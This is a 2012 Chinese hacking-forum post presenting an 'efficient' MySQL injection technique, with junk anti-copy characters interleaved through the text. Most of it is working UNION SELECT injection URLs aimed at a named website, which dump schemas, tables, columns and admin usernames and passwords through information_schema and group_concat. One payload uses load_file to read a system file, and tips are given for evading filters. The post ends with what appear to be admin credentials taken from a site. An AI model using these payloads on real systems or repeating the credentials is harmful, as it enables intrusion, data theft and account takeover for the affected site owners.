找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2176|回复: 0
打印 上一主题 下一主题

mysql注入高效方法

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 16:37:34 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
此方法只适用于Mysql 5.0以及5.0以上版本 注入方法和mysql 5 类似
6 R: g+ ], h4 T  C4 C1 X( V& u% L但此方法大大提高了读取数据库的速度,此方法并非本人原创,原创出处是国外某牛人# h; r. `* r* g9 j$ C

0 R8 `  f$ `6 t7 ^5 y4 e  o8 B
! [0 W& Y; [. L5 Z6 }优点在于可以利用information_schema库与group_concat的配合 来达到一次性读取出指定数据库里的内容,并且在limit被限制的情况下依然可以注入
, j8 ^5 A) F+ {8 [. Z& a! m; S* o! I
缺点 当一个库存在几百甚至几千个表和表字段和数据的时候 读取出数据的时间会相当的慢...; m$ g$ J1 m# J8 Y
: J- s. P* X! I' z! W4 L' L
下面用简单实例来演示 原理不多说,相信经常玩注入的朋友都知道了.只挑重要部分实例演示
' y2 T. [/ m1 t' g% @6 p在注入时根据实际情况作出变化 比如过滤了空格,使用/**/ ,  + 等等
0 S/ q4 ?# r5 @8 N! M7 w6 l% v0 Y' u4 z# L1 {
http://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,8,database(),10,11,12,13,14,15,16,17/ \$ t: [+ `" O' \7 u+ B3 h* Y
1 {7 m9 k' O$ R6 Q4 ^+ e; U/ ]
读出所有库:
# X0 w( J" p* E6 b7 v0 h* Mhttp://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,8,group_concat(schema_name),10,11,12,13,14,15,16,17 from information_schema.SCHEMATA* n; o& W# J% e6 W( [7 l3 g. k

9 Z" T7 o  f% t0 C5 @( Y: w" i% O- @9 s8 O; R& Z5 V. Z+ O

2 z1 }. B6 o# ?9 l读出所有表:
7 n+ V$ n3 W. z; N1 w' w  A( {http://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,8,group_concat(table_name),10,11,12,13,14,15,16,17 from information_schema.tables where table_schema=database()% {1 D$ m6 x( H2 x7 T
* F* W# d. }+ A7 v
读出所有表字段:. A! b+ h% t6 J3 r/ A% b: V3 t
http://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,8,group_concat(column_name),10,11,12,13,14,15,16,17 from information_schema.COLUMNS where table_schema=database() and table_name=char(97,100,109,105,110)
2 z& b% o; B, n  e6 {8 S*/ (97,100,109,105,110)为admin的ascii码 依次类推
: a$ s7 [# S4 e2 ]: @! ]& P( Q) L+ \+ ?
读出所有表字段里的内容:7 |6 a$ [! T, q% q( A: y! \
http://www.political-security.com/1.php?id=-1 union select 1,2,3,4,5,6,7,group_concat(password),group_concat(admin),10,11,12,13,14,15,16,17 from admin
0 `8 h! V: i( o  I9 v' B$ K5 v
* ^6 b3 a4 |+ O: E; z) U2 S0 Q4 P+ G! Y7 |" {1 |( `

' n/ O0 Z, c9 `* K  m. n: @  u7 O( k: @5 H% P2 m/ J3 S$ w

" C0 R5 P# o- j" [* k* p: j) U) n2 s2 E! z7 E% H
http://www.political-security.co ... ;&ssec=-1+UNION SELECT+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),load_file(CHAR(99, 58, 92, 98, 111, 111, 116, 46, 105, 110, 105)),4,5,6,7+%23
% A9 D- l- h7 ^/ [8 l/ G3 A2 t
0 G, t- s4 X1 P1 i* G2 z4 U
: d( J* w5 i/ C* e( X6 Ohttp://www.political-security.co ... ;&ssec=-1+UNION SELECT+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),group_concat(schema_name),4,5,6,7+from+information_schema.schemata%23
% P, m, M: |! d8 x1 g# n: F' h+ w
, K( Y- n( n! t* n0 o  z+ u# chttp://www.political-security.co ... ;&ssec=-1+UNION SELECT+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),group_concat(column_name),4,5,6,7+from+information_schema.COLUMNS where table_schema=database()+and+table_name=char(97,100,109,105,110)%23
  V/ L+ S7 |* c3 F' A4 e+ r3 Q' E7 h* V8 j" H4 K
& M7 |6 x/ Q+ V* B$ N$ U
http://www.political-security.co ... ;&ssec=-1+UNION SELECT+1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),group_concat(admin_name,0x3a,admin_password),4,5,6,7+from+admin%23' d2 ~+ C" s: A: s9 E

  y: N. G. J/ B: i( A; I# x" _- Z: ~* |1 B! Q2 c, h0 t
        webmaster:dzb521123,simlab:simadmin20043233
/ s) t6 t( r6 j  Z! W5 d
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表